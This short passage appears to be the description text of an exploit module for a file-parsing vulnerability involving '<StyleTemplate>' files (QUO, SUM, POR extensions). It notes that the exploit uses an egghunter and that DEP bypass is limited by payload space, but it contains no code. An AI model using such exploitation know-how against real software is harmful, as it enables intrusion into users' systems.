                The software is unable to handle the "<StyleTemplate>" files (even
                those original included in the program) like those with the registered
                extensions QUO, SUM and POR. Successful exploitation of this vulnerability
                may take up to several seconds due to the use of egghunter.  Also, DEP
                bypass is unlikely due to the limited space for payload.
